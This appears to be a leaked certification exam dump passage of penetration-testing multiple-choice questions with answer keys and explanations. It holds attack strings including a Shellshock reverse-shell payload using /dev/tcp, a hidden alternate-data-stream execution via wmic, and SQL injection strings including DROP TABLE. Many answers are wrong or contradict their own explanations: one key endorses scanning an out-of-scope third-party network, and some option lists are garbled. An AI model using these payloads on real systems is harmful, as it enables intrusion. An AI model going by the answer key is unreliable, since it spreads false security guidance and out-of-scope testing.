A penetration tester has obtained shell access to a Windows host and wants to run a specially crafted binary for later execution using the wmic.exe process call create function. Which of the following OS or filesystem mechanisms is MOST likely to support this objective?

A. Alternate data streams
B. PowerShell modules
C. MP4 steganography
D. PsExec

Correct Answer: A
Section:
Explanation:
Alternate data streams (ADS) are a feature of the NTFS file system that allows storing additional data in a file without affecting its size, name, or functionality. ADS can be used to hide or embed data or executable code in a file, such as a specially crafted binary for later execution. ADS can be created or accessed using various tools or commands, such as the command prompt, PowerShell, or Sysinternals12. For example, the following command can create an ADS named secret.exe in a file named test.txt and run it using wmic.exe process call create function: type secret.exe > test.txt:secret.exe & wmic process call create "cmd.exe /c test.txt:secret.exe"

QUESTION 44
A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting money into a personal bank account.
The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the future?

Vdumps

A. Enforce mandatory employee vacations
B. Implement multifactor authentication
C. Install video surveillance equipment in the office
D. Encrypt passwords for bank account information

Correct Answer: A
Section:
Explanation:
If the employee already works in the accounting department, MFA will not stop their actions because they'll already have access by virtue of their job.
Enforcing mandatory employee vacations is the best recommendation to prevent this type of activity in the future, as it will make it harder for an employee to conceal fraudulent transactions or unauthorized changes to a payment system. Mandatory employee vacations are a form of internal control that requires employees to take time off from work periodically and have their duties performed by someone else. This can help detect errors, irregularities, or frauds committed by employees who might otherwise have exclusive access or control over certain processes or systems.

QUESTION 45
A penetration tester wants to scan a target network without being detected by the client's IDS.
Which of the following scans is MOST likely to avoid detection?

A. nmap -p0 -T0 -sS 192.168.1.10
B. nmap -sA -sV --host-timeout 60 192.168.1.10
C. nmap -f --badsum 192.168.1.10
D. nmap -A -n 192.168.1.10

Correct Answer: C

Section:
Explanation:
The nmap -f --badsum 192.168.1.10 command is most likely to avoid detection by the client's IDS, as it will use two techniques to evade IDS signatures or filters. The -f option will fragment the IP packets into smaller pieces that might bypass some IDS rules or firewalls. The --badsum option will use an invalid checksum in the TCP or UDP header that might cause some IDS systems to ignore the packets.

QUESTION 46
Which of the following should a penetration tester do NEXT after identifying that an application being tested has already been compromised with malware?

A. Analyze the malware to see what it does.
B. Collect the proper evidence and then remove the malware.
C. Do a root-cause analysis to find out how the malware got in.
D. Remove the malware immediately.
E. Stop the assessment and inform the emergency contact.

Correct Answer: E
Section:
Explanation:
Stopping the assessment and informing the emergency contact is the best thing to do next after identifying that an application being tested has already been compromised with malware. This is because continuing the assessment might interfere with an ongoing investigation or compromise evidence collection. The emergency contact is the person designated by the client who should be notified in case of any critical issues or incidents during the penetration testing engagement.
Reference: https://www.redteamsecure.com/blog/my-company-was-hacked-now-what

QUESTION 47
A penetration tester runs the following command on a system:
find / -user root -perm -4000 -print 2>/dev/null
Which of the following is the tester trying to accomplish?

A. Set the SGID on all files in the / directory
B. Find the /root directory on the system
C. Find files with the SUID bit set
D. Find files that were created during exploitation and move them to /dev/null

Correct Answer: C
Section:
Explanation:
the 2>/dev/null is output redirection, it simply sends all the error messages to infinity and beyond preventing any error messages to appear in the terminal session.
The tester is trying to find files with the SUID bit set on the system. The SUID (set user ID) bit is a special permission that allows a file to be executed with the privileges of the file owner, regardless of who runs it. This can be used to perform privileged operations or access restricted resources. A penetration tester can use the find command with the -user and -perm options to search for files owned by a specific user (such as root) and having a specific permission (such as 4000, which indicates the SUID bit is set).

QUESTION 48
A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:

```
if(isset($_POST['item'])){
    echo shell_exec("/http/www/cgi-bin/queryitem ".$_POST['item']);
}
```

Which of the following tools will help the tester prepare an attack for this scenario?

A. Hydra and crunch

B. Netcat and cURL
C. Burp Suite and DIRB
D. Nmap and OWASP ZAP

Correct Answer: B
Section:
Explanation:
Netcat and cURL are tools that will help the tester prepare an attack for this scenario, as they can be used to establish a TCP connection, send payloads, and receive responses from the target web server.
Netcat is a versatile tool that can create TCP or UDP connections and transfer data between hosts.
cURL is a tool that can transfer data using various protocols, such as HTTP, FTP, SMTP, etc. The tester can use these tools to exploit the PHP script that executes shell commands with the value of the "item" variable.

QUESTION 49
Which of the following would MOST likely be included in the final report of a static applicationsecurity test that was written with a team of application developers as the intended audience?

A. Executive summary of the penetration-testing methods used
B. Bill of materials including supplies, subcontracts, and costs incurred during assessment
C. Quantitative impact assessments given a successful software compromise
D. Code context for instances of unsafe type-casting operations

Correct Answer: D
Section:
Explanation:
Code context for instances of unsafe type-casting operations would most likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience, as it would provide relevant and actionable information for the developers to fix the vulnerabilities. Type-casting is the process of converting one data type to another, such as an integer to a string. Unsafe type-casting can lead to errors, crashes, or security issues, such as buffer overflows or code injection.

QUESTION 50
A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to:
Have a full TCP connection
Send a "hello" payload
Walt for a response
Send a string of characters longer than 16 bytes
Which of the following approaches would BEST support the objective?

A. Run nmap -Pn -sV -script vuln <IP address>.
B. Employ an OpenVAS simple scan against the TCP port of the host.
C. Create a script in the Lua language and use it with NSE.
D. Perform a credentialed scan with Nessus.

Correct Answer: C
Section:
Explanation:
The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It allows users to write (and share) simple scripts (using the Lua programming language) to automate a wide variety of networking tasks. https://nmap.org Creating a script in the Lua language and using it with NSE would best support the objective of finding a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. NSE (Nmap Scripting Engine) is a feature of Nmap that allows users to write and run scripts to automate tasks or perform advanced scans. Lua is a scripting language that NSE supports and can be used to create custom scripts for Nmap.

QUESTION 51

A penetration tester exploited a unique flaw on a recent penetration test of a bank. After the test was completed, the tester posted information about the exploit online along with the IP addresses of the exploited machines. Which of the following documents could hold the penetration tester accountable for this action?

A. ROE
B. SLA
C. MSA
D. NDA

Correct Answer: D
Section:

QUESTION 52
A client has requested that the penetration test scan include the following UDP services: SNMP, NetBIOS, and DNS. Which of the following Nmap commands will perform the scan?

A. nmap -vv sUV -p 53, 123-159 10.10.1.20/24 -oA udpscan
B. nmap -vv sUV -p 53,123,161-162 10.10.1.20/24 -oA udpscan
C. nmap -vv sUV -p 53,137-139,161-162 10.10.1.20/24 -oA udpscan
D. nmap -vv sUV -p 53, 122-123, 160-161 10.10.1.20/24 -oA udpscan

Correct Answer: C
Section:

QUESTION 53
A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

dumps

A. Smurf
B. Ping flood
C. Fraggle
D. Ping of death

Correct Answer: C
Section:
Explanation:
Fraggle attack is same as a Smurf attack but rather than ICMP, UDP protocol is used. The prevention of these attacks is almost identical to Fraggle attack.
Ref: https://www.okta.com/identity-101/fraggle-attack/

QUESTION 54
Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems administrator and technical staff?

A. A quick description of the vulnerability and a high-level control to fix it
B. Information regarding the business impact if compromised
C. The executive summary and information regarding the testing company
D. The rules of engagement from the assessment

Correct Answer: A
Section:
Explanation:

The systems administrator and the technical stuff would be more interested in the technical aspect of the findings

QUESTION 55
A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:
exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1", "Accept":
"text/html,application/xhtml+xml,application/xml"}
Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

A. exploits = {"User-Agent": "() { ignored;};/bin/bash -i id;whoami", "Accept":
"text/html,application/xhtml+xml,application/xml"}
B. exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& find / -perm -4000", "Accept":
"text/html,application/xhtml+xml,application/xml"}
C. exploits = {"User-Agent": "() { ignored;};/bin/sh -i ps -ef" 0>&1", "Accept":
"text/html,application/xhtml+xml,application/xml"}
D. exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80" 0>&1", "Accept":
"text/html,application/xhtml+xml,application/xml"}

Correct Answer: A
Section:

QUESTION 56
Which of the following provides a matrix of common tactics and techniques used by attackers along with recommended mitigations?

A. NIST SP 800-53
B. OWASP Top 10
C. MITRE ATT&CK framework
D. PTES technical guidelines

Correct Answer: C
Section:
Explanation:
Reference: https://digitalguardian.com/blog/what-mitre-attck-framework

QUESTION 57
Which of the following should a penetration tester attack to gain control of the state in the HTTP protocol after the user is logged in?

A. HTTPS communication
B. Public and private keys
C. Password encryption
D. Sessions and cookies

Correct Answer: D
Section:

QUESTION 58
A penetration tester conducted an assessment on a web server. The logs from this session show the following:
http://www.thecompanydomain.com/servicestatus.php?serviceID=892&serviceID=892 ' ; DROP
TABLE SERVICES; --

Which of the following attacks is being attempted?

A. Clickjacking
B. Session hijacking
C. Parameter pollution
D. Cookie hijacking
E. Cross-site scripting

Correct Answer: C
Section:

QUESTION 59
An assessment has been completed, and all reports and evidence have been turned over to the client. Which of the following should be done NEXT to ensure the confidentiality of the client's information?

A. Follow the established data retention and destruction process
B. Report any findings to regulatory oversight groups
C. Publish the findings after the client reviews the report
D. Encrypt and store any client information for future analysis

Correct Answer: D
Section:
Explanation:
After completing an assessment and providing the report and evidence to the client, it is important to follow the established data retention and destruction process to ensure the confidentiality of the client's information. This process typically involves securely deleting or destroying any data collected during the assessment that is no longer needed, and securely storing any data that needs to be retained. This helps to prevent unauthorized access to the client's information and protects the client's confidentiality.
Reporting any findings to regulatory oversight groups may be necessary in some cases, but it should be done only with the client's permission and in accordance with any relevant legal requirements.
Publishing the findings before the client has reviewed the report is also not recommended, as it may breach the client's confidentiality and damage their reputation. Encrypting and storing client information for future analysis is also not recommended unless it is necessary and in compliance with any legal or ethical requirements.

QUESTION 60
During a penetration-testing engagement, a consultant performs reconnaissance of a client to identify potential targets for a phishing campaign. Which of the following would allow the consultant to retrieve email addresses for technical and billing contacts quickly, without triggering any of the client's cybersecurity tools? (Choose two.)

A. Scraping social media sites
B. Using the WHOIS lookup tool
C. Crawling the client's website
D. Phishing company employees
E. Utilizing DNS lookup tools
F. Conducting wardriving near the client facility

Correct Answer: A, C
Section:
Explanation:
Technical and billing addresses are usually posted on company websites and company social media sites for the their clients to access. The WHOIS lookup will only avail info for the company registrant, an abuse email contact, etc but it may not contain details for billing addresses.

QUESTION 61

A company is concerned that its cloud service provider is not adequately protecting the VMs housing its software development. The VMs are housed in a datacenter with other companies sharing physical resources. Which of the following attack types is MOST concerning to the company?

A. Data flooding
B. Session riding
C. Cybersquatting
D. Side channel

Correct Answer: D
Section:
Explanation:
https://www.techtarget.com/searchsecurity/definition/side-channelattack#:~:text=Side%2Dchannel%20attacks%20can%20even,share%20the%20same%20physical%20hardware

QUESTION 62
A penetration tester conducts an Nmap scan against a target and receives the following results:

Port	State	Service
1080/tcp	open	socks

Which of the following should the tester use to redirect the scanning tools using TCP port 1080 on the target?

A. Nessus
B. ProxyChains
C. OWASPZAP
D. Empire

Vdumps

Correct Answer: B
Section:
Explanation:
Reference: https://www.codeproject.com/Tips/634228/How-to-Use-Proxychains-Forwarding-Ports

QUESTION 63
A penetration tester received a .pcap file to look for credentials to use in an engagement.
Which of the following tools should the tester utilize to open and read the .pcap file?

A. Nmap
B. Wireshark
C. Metasploit
D. Netcat

Correct Answer: B
Section:

QUESTION 64
A penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as possible.
Which of the following Nmap scan syntaxes would BEST accomplish this objective?

A. nmap -sT -vvv -O 192.168.1.2/24 -PO

B. nmap -sV 192.168.1.2/24 -PO
C. nmap -sA -v -O 192.168.1.2/24
D. nmap -sS -O 192.168.1.2/24 -T1

Correct Answer: D
Section:
Explanation:
Reference: https://nmap.org/book/man-port-scanning-techniques.html

QUESTION 65
A penetration tester has gained access to a network device that has a previously unknown IP range on an interface. Further research determines this is an always-on VPN tunnel to a third-party supplier.
Which of the following is the BEST action for the penetration tester to take?

A. Utilize the tunnel as a means of pivoting to other internal devices.
B. Disregard the IP range, as it is out of scope.
C. Stop the assessment and inform the emergency contact.
D. Scan the IP range for additional systems to exploit.

Correct Answer: D
Section:

QUESTION 66
A security company has been contracted to perform a scoped insider-threat assessment to try to gain access to the human resources server that houses PII and salary data. The penetration testers have been given an internal network starting position.
Which of the following actions, if performed, would be ethical within the scope of the assessment?

Vdumps

A. Exploiting a configuration weakness in the SQL database
B. Intercepting outbound TLS traffic
C. Gaining access to hosts by injecting malware into the enterprise-wide update server
D. Leveraging a vulnerability on the internal CA to issue fraudulent client certificates
E. Establishing and maintaining persistence on the domain controller

Correct Answer: B
Section:

QUESTION 67
A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server.
Which of the following can be done with the pcap to gain access to the server?

A. Perform vertical privilege escalation.
B. Replay the captured traffic to the server to recreate the session.
C. Use John the Ripper to crack the password.
D. Utilize a pass-the-hash attack.

Correct Answer: D
Section:

QUESTION 68
A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables.
Which of the following should be included as a recommendation in the remediation report?

A. Stronger algorithmic requirements
B. Access controls on the server
C. Encryption on the user passwords
D. A patch management program

Correct Answer: A
Section:

QUESTION 69
A penetration tester found the following valid URL while doing a manual assessment of a web application: http://www.example.com/product.php?id=123987.
Which of the following automated tools would be best to use NEXT to try to identify a vulnerability in this URL?

A. SQLmap
B. Nessus
C. Nikto
D. DirBuster

Correct Answer: B
Section:

QUESTION 70
A penetration tester is attempting to discover live hosts on a subnet quickly.
Which of the following commands will perform a ping scan?

A. nmap -sn 10.12.1.0/24
B. nmap -sV -A 10.12.1.0/24
C. nmap -Pn 10.12.1.0/24
D. nmap -sT -p- 10.12.1.0/24

Correct Answer: A
Section:
Explanation:
Reference: https://www.tecmint.com/find-live-hosts-ip-addresses-on-linux-network/

QUESTION 71
Which of the following tools would be MOST useful in collecting vendor and other security-relevant information for IoT devices to support passive reconnaissance?

A. Shodan
B. Nmap
C. WebScarab-NG
D. Nessus

Correct Answer: B

Section:

QUESTION 72
A company has hired a penetration tester to deploy and set up a rogue access point on the network.
Which of the following is the BEST tool to use to accomplish this goal?

A. Wireshark
B. Aircrack-ng
C. Kismet
D. Wifite

Correct Answer: B
Section:
Explanation:
Reference: https://null-byte.wonderhowto.com/how-to/hack-wi-fi-stealing-wi-fi-passwords-withevil-twin-attack-0183880/
https://thecybersecurityman.com/2018/08/11/creating-an-evil-twin-or-fake-access-point-usingaircrack-ng-and-dnsmasq-part-2-the-attack/

QUESTION 73
An assessor wants to use Nmap to help map out a stateful firewall rule set. Which of the following scans will the assessor MOST likely run?

A. nmap 192.168.0.1/24
B. nmap 192.168.0.1/24 ?
C. nmap oG 192.168.0.1/24
D. nmap 192.168.0.1/24

Vdumps

Correct Answer: A
Section:

QUESTION 74
A Chief Information Security Officer wants to evaluate the security of the company's e-commerce application. Which of the following tools should a penetration tester use FIRST to obtain relevant information from the application without triggering alarms?

A. SQLmap
B. DirBuster
C. w3af
D. OWASP ZAP

Correct Answer: C
Section:
Explanation:
W3AF, the Web Application Attack and Audit Framework, is an open source web application security scanner that includes directory and filename brute-forcing in its list of capabilities.

QUESTION 75
Which of the following documents must be signed between the penetration tester and the client to govern how any provided information is managed before, during, and after the engagement?

A. MSA
B. NDA

C. SOW
D. ROE

Correct Answer: B
Section:

QUESTION 76
A penetration tester needs to upload the results of a port scan to a centralized security tool. Which of the following commands would allow the tester to save the results in an interchangeable format?

A. nmap -iL results 192.168.0.10-100
B. nmap 192.168.0.10-100 -O > results
C. nmap -A 192.168.0.10-100 -oX results
D. nmap 192.168.0.10-100 | grep "results"

Correct Answer: C
Section:

QUESTION 77
A penetration tester has gained access to the Chief Executive Officer's (CEO's) internal, corporate email. The next objective is to gain access to the network.
Which of the following methods will MOST likely work?

A. Try to obtain the private key used for S/MIME from the CEO's account.
B. Send an email from the CEO's account, requesting a new account.
C. Move laterally from the mail server to the domain controller.
D. Attempt to escalate privileges on the mail server to gain root access.

Correct Answer: D
Section:

QUESTION 78
A penetration tester needs to perform a vulnerability scan against a web server. Which of the following tools is the tester MOST likely to choose?

A. Nmap
B. Nikto
C. Cain and Abel
D. Ethercap

Correct Answer: B
Section:
Explanation:
https://hackertarget.com/nikto-website-scanner/

QUESTION 79
A penetration tester is evaluating a company's network perimeter. The tester has received limited information about defensive controls or countermeasures, and limited internal knowledge of the testing exists. Which of the following should be the FIRST step to plan the reconnaissance activities?

A. Launch an external scan of netblocks.

B. Check WHOIS and netblock records for the company.
C. Use DNS lookups and dig to determine the external hosts.
D. Conduct a ping sweep of the company's netblocks.

Correct Answer: C
Section:

QUESTION 80
A penetration tester captured the following traffic during a web-application test:

```
GET http://172.16.0.10:3000/rest/basket/2 HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Authorization: Bearer
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiI
iLCJlbWFpbCI6ImFkbWluQGp1aWN1LXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOi
JhZGlpbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiYXNzZXRzL3B1YmxpYy9pbWFnZXNtdXBsb2Fkcy9k
ZWZhdWx0QWRtaW4uc95nIiwidG90cFN1Y3J1dCI6IiIsImlzQWN0aXZlIjp0cnV1LCJjcmVhdGVkQXQiOiIyM
DIxLTAyLTAzIDEyOjA3OjUxLjY0MiArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDIxLTAyLTAzIDEyOjA3OjUxLjY0MiArMDA6MDAiLCJkZWxldGVkQXQ
iOm51bGx9LCJpYXQiOjE2MTIzNTU1NjIsImV4cCI6MTYxMjM3MzU2Mn0.fKRquasopr9J5JO5YN1_Rji06eBzMGiE7vc0EfGM
JyKF0v_fAgv0yN9zTaYo1sU2dcddtkDVgwN9BiajjU-0B6eW9Tj9d5OhUGAJrE4tdmzPA8i4qlhtWz8pSlpLqMlEiG-hwffOubKWiYBacHS-1d_SOK6ClgePjT7zxfcEqkM
Connection: keep-alive
Referer: http://172.16.0.10:3000/
Cookie: io=qiEk8jOODPvlatUPAAAC; language=en; welcomebanner_status=dismiss;
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiI
laWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOi
uSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiYXNzZXRzL3B1YmxpYy9pbWFnZXNtdXBsb2Fkcy9k
aXZlIjp0cnV1LCJjcmVhdGVkQXQiOiIyMDIxLTAyLTAzIDEyOjA3OjUxLjY0MiArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDIxLTAyLTAzIDEyOjA3OjUxLjY0MiArMDA6MDAiLCJkZWx
ldGVkQXQiOm51bGx9LCJpYXQiOjE2MTIzNTU1NjIsImV4cCI6MTYxMjM3MzU2Mn0.fKRquasopr9J5JO5YN1_Rji06eBzMGiE7w
c0EfGMJyKF0v_fAgv0yN9zTaYo1sU2dcddtkDVgwN9BiajjU-0B6eW9Tj9d5OhUGAJrE4tdmzPA8i4qlhtWz8pSlpLqMlEiG-hwffOubKWiYBacHS-1d_SOK6ClgePjT7zxfcEqkM
Content-Length: 0
Host: 172.16.0.10:3000
```

Which of the following methods should the tester use to visualize the authorization information being transmitted?

A. Decode the authorization header using UTF-8.
B. Decrypt the authorization header using bcrypt.
C. Decode the authorization header using Base64.
D. Decrypt the authorization header using AES.

Correct Answer: C
Section:

QUESTION 81
Given the following script:

```
Line 1  #!/usr/bin/python3
Line 2  from scapy.all import *
Line 3  a =
        IP(dst='10.10.10.10')/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname='www.comptia.org'))
Line 4  b = srl(a, verbose=0)
Line 5  for x in range(b[DNS].count):
Line 6      print(b[DNSRR][x].rdata
```

Which of the following BEST characterizes the function performed by lines 5 and 6?

A. Retrieves the start-of-authority information for the zone on DNS server 10.10.10.10
B. Performs a single DNS query for www.comptia.org and prints the raw data output
C. Loops through variable b to count the results returned for the DNS query and prints that count to screen
D. Prints each DNS query result already stored in variable b

Correct Answer: D
Section:
Explanation:
The script is using the scapy library to perform a DNS query for www.comptia.org and store the response in variable b. Lines 5 and 6 are using a for loop to iterate over each answer in variable b and print its summary to the screen. This can help the penetration tester to view the DNS records returned by the query.

QUESTION 82
A penetration-testing team needs to test the security of electronic records in a company's office. Per the terms of engagement, the penetration test is to be conducted after hours and should not include circumventing the alarm or performing destructive entry. During outside reconnaissance, the team sees an open door from an adjoining building. Which of the following would be allowed under the terms of the engagement?

A. Prying the lock open on the records room
B. Climbing in an open window of the adjoining building
C. Presenting a false employee ID to the night guard
D. Obstructing the motion sensors in the hallway of the records room

Correct Answer: B
Section:
Explanation:
The terms of engagement state that the penetration test should not include circumventing the alarm or performing destructive entry, which rules out options A and D. Option C is also not allowed, as it involves social engineering, which is not part of the scope. Option B is the only one that does not violate the terms of engagement, as it uses an open door from an adjoining building to gain access to the records room. This can help the penetration tester to test the physical security of the electronic records without breaking any rules.

QUESTION 83
A penetration tester who is working remotely is conducting a penetration test using a wireless connection. Which of the following is the BEST way to provide confidentiality for the client while using this connection?

A. Configure wireless access to use a AAA server.
B. Use random MAC addresses on the penetration testing distribution.
C. Install a host-based firewall on the penetration testing distribution.
D. Connect to the penetration testing company's VPS using a VPN.

Correct Answer: D
Section:
Explanation:
The best way to provide confidentiality for the client while using a wireless connection is to connect to the penetration testing company's VPS using a VPN. This will encrypt the traffic between the penetration tester and the VPS, and prevent any eavesdropping or interception by third parties. A VPN will also allow the penetration tester to access the client's network securely and bypass any firewall or network restrictions.

QUESTION 84
A penetration tester is able to use a command injection vulnerability in a web application to get a reverse shell on a system After running a few commands, the tester runs the following:
python -c 'import pty; pty.spawn("/bin/bash")'
Which of the following actions Is the penetration tester performing?

A. Privilege escalation
B. Upgrading the shell
C. Writing a script for persistence
D. Building a bind shell

Correct Answer: B
Section:
Explanation:
The penetration tester is performing an action called upgrading the shell, which means improving the functionality and interactivity of the shell. By running the python command, the penetration tester is spawning a new bash shell that has features such as tab completion, command history, and job control. This can help the penetration tester to execute commands more easily and efficiently.

QUESTION 85
A penetration tester opened a shell on a laptop at a client's office but is unable to pivot because of restrictive ACLs on the wireless subnet. The tester is also aware that all laptop users have a hardwired connection available at their desks. Which of the following is the BEST method available to pivot and gain additional access to the network?

A. Set up a captive portal with embedded malicious code.
B. Capture handshakes from wireless clients to crack.
C. Span deauthentication packets to the wireless clients.
D. Set up another access point and perform an evil twin attack.

Correct Answer: C
Section:
Explanation:
The best method available to pivot and gain additional access to the network is to span deauthentication packets to the wireless clients. This will cause them to disconnect from their wireless access point and reconnect using their hard-wired connection, which may have less restrictive ACLs. The penetration tester can then capture their traffic or attempt to compromise their systems.

QUESTION 86
A tester who is performing a penetration test discovers an older firewall that is known to have serious vulnerabilities to remote attacks but is not part of the original list of IP addresses for the engagement. Which of the following is the BEST option for the tester to take?

A. Segment the firewall from the cloud.

B. Scan the firewall for vulnerabilities.
C. Notify the client about the firewall.
D. Apply patches to the firewall.

Correct Answer: C
Section:
Explanation:
The best option for the tester to take is to notify the client about the firewall. The firewall is not part of the original list of IP addresses for the engagement, which means it is out of scope and should not be tested without permission. The tester should inform the client about the existence and potential risks of the firewall, and ask if they want to include it in the scope or not.

QUESTION 87
A penetration tester is looking for vulnerabilities within a company's web application that are in scope. The penetration tester discovers a login page and enters the following string in a field:
1;SELECT Username, Password FROM Users;
Which of the following injection attacks is the penetration tester using?

A. Blind SQL
B. Boolean SQL
C. Stacked queries
D. Error-based

Correct Answer: C
Section:
Explanation:
The penetration tester is using a type of injection attack called stacked queries, which means appending multiple SQL statements separated by semicolons in a single input field. This can allow the penetration tester to execute arbitrary SQL commands on the database server, such as selecting username and password from users table.

Vdumps

QUESTION 88
Which of the following can be used to store alphanumeric data that can be fed into scripts or programs as input to penetration-testing tools?

A. Dictionary
B. Directory
C. Symlink
D. Catalog
E. For-loop

Correct Answer: A
Section:
Explanation:
A dictionary can be used to store alphanumeric data that can be fed into scripts or programs as input to penetration-testing tools. A dictionary is a collection of key-value pairs that can be accessed by using the keys. For example, a dictionary can store usernames and passwords, or IP addresses and hostnames, that can be used as input for brute-force or reconnaissance tools.

QUESTION 89
A penetration tester is trying to restrict searches on Google to a specific domain. Which of the following commands should the penetration tester consider?

A. inurl:
B. link:
C. site:

D. intitle:

Correct Answer: C
Section:
Explanation:
The site: command can be used to restrict searches on Google to a specific domain. For example, site:company.com will return only results from the company.com domain. This can help the penetration tester to find information or pages related to the target domain.

QUESTION 90
A client would like to have a penetration test performed that leverages a continuously updated TTPs framework and covers a wide variety of enterprise systems and networks. Which of the following methodologies should be used to BEST meet the client's expectations?

A. OWASP Top 10
B. MITRE ATT&CK framework
C. NIST Cybersecurity Framework
D. The Diamond Model of Intrusion Analysis

Correct Answer: B
Section:
Explanation:
The MITRE ATT&CK framework is a methodology that should be used to best meet the client's expectations. The MITRE ATT&CK framework is a knowledge base of adversary tactics, techniques, and procedures (TTPs) that are continuously updated based on real-world observations. The framework covers a wide variety of enterprise systems and networks, such as Windows, Linux, macOS, cloud, mobile, and network devices. The framework can help the penetration tester to emulate realistic threats and identify gaps in defenses.

Vdumps

QUESTION 91
During a web application test, a penetration tester was able to navigate to https://company.com and view all links on the web page. After manually reviewing the pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the browser: unauthorized to view this page. Which of the following BEST explains what occurred?

A. The SSL certificates were invalid.
B. The tester IP was blocked.
C. The scanner crashed the system.
D. The web page was not found.

Correct Answer: B
Section:
Explanation:
The most likely explanation for what occurred is that the tester IP was blocked by the web server. The web server may have detected the web scanner as a malicious or suspicious activity and blocked the tester's IP address from accessing the web application. This could result in an unauthorized to view this page message in the browser.

QUESTION 92
A red team completed an engagement and provided the following example in the report to describe how the team gained access to a web server:
x' OR role LIKE '%admin%
Which of the following should be recommended to remediate this vulnerability?

A. Multifactor authentication
B. Encrypted communications
C. Secure software development life cycle
D. Parameterized queries

Correct Answer: D
Section:
Explanation:
The best recommendation to remediate this vulnerability is to use parameterized queries in the web application. Parameterized queries are a way of preventing SQL injection attacks by separating the SQL statements from the user input. This way, the user input is treated as a literal value and not as part of the SQL statement. For example, instead of using x' OR role LIKE '%admin%, the user input would be passed as a parameter to a prepared statement that would check if it matches any value in the database.

QUESTION 93
The following output is from reconnaissance on a public-facing banking website:

```
...
Start 2021-02-02 18:24:59 -->> 192.168.1.66:443 (192.168.1.66) <<--
rDNS (192.168.1.66): centralbankwebservice.local
Service detected: HTTP

Testing protocols via sockets except NPN+ALPN
SSLv2 not offered (OK)
SSLv3 not offered (OK)
TLS 1 offered (deprecated)
TLS 1.1 not offered
TLS 1.2 not offered and downgraded to a weaker protocol
TLS 1.3 not offered and downgraded to a weaker protocol
NPN/SPDY not offered
ALPN/HTTP2 not offered
Testing cipher categories
NULL ciphers (no encryption) not offered (OK)
Anonymous NULL Ciphers (no authentication) not offered (OK)
Export ciphers (w/o ADH+NULL) not offered (OK)
LOW: 64 Bit + DES, RC[2,4] (w/o export) offered (NOT ok)
Triple DES Ciphers / IDEA offered
Obsolete CBC ciphers (AES, ARIA etc.) offered
Strong encryption (AEAD ciphers) not offered

Testing robust (perfect) forward secrecy, (P)FS -- omitting Null Authentication/Encryption, 3DES, RC4
No ciphers supporting Forward Secrecy offered

Testing server preferences
Has server cipher order? no (NOT ok)
Negotiated protocol TLSv1
Negotiated cipher AES256-SHA (limited sense as client will pick)
...
```

Based on these results, which of the following attacks is MOST likely to succeed?

A. A birthday attack on 64-bit ciphers (Sweet32)
B. An attack that breaks RC4 encryption
C. An attack on a session ticket extension (Ticketbleed)
D. A Heartbleed attack

Correct Answer: D
Section:
Explanation:

Based on these results, the most likely attack to succeed is a Heartbleed attack. The Heartbleed attack is a vulnerability in the OpenSSL implementation of the TLS/SSL protocol that allows an attacker to read the memory of the server and potentially steal sensitive information, such as private keys, passwords, or session tokens. The results show that the website is using OpenSSL 1.0.1f, which is vulnerable to the Heartbleed attack1.

QUESTION 94
Given the following script:
while True:
print ("Hello World")
Which of the following describes True?

A. A while loop
B. A conditional
C. A Boolean operator
D. An arithmetic operator

Correct Answer: C
Section:
Explanation:
True is a Boolean operator in Python, which is an operator that returns either True or False values based on logical conditions. Boolean operators can be used in expressions or statements that evaluate to True or False values, such as comparisons, assignments, or loops. In the code, True is used as the condition for a while loop, which is a loop that repeats a block of code as long as the condition is True. The code will print "Hello World" indefinitely because True will always be True and the loop will never end. The other options are not valid descriptions of True.

QUESTION 95
Which of the following factors would a penetration tester most likely consider when testing at a location?

Vdumps

A. Determine if visas are required.
B. Ensure all testers can access all sites.
C. Verify the tools being used are legal for use at all sites.
D. Establish the time of the day when a test can occur.

Correct Answer: D
Section:
Explanation:
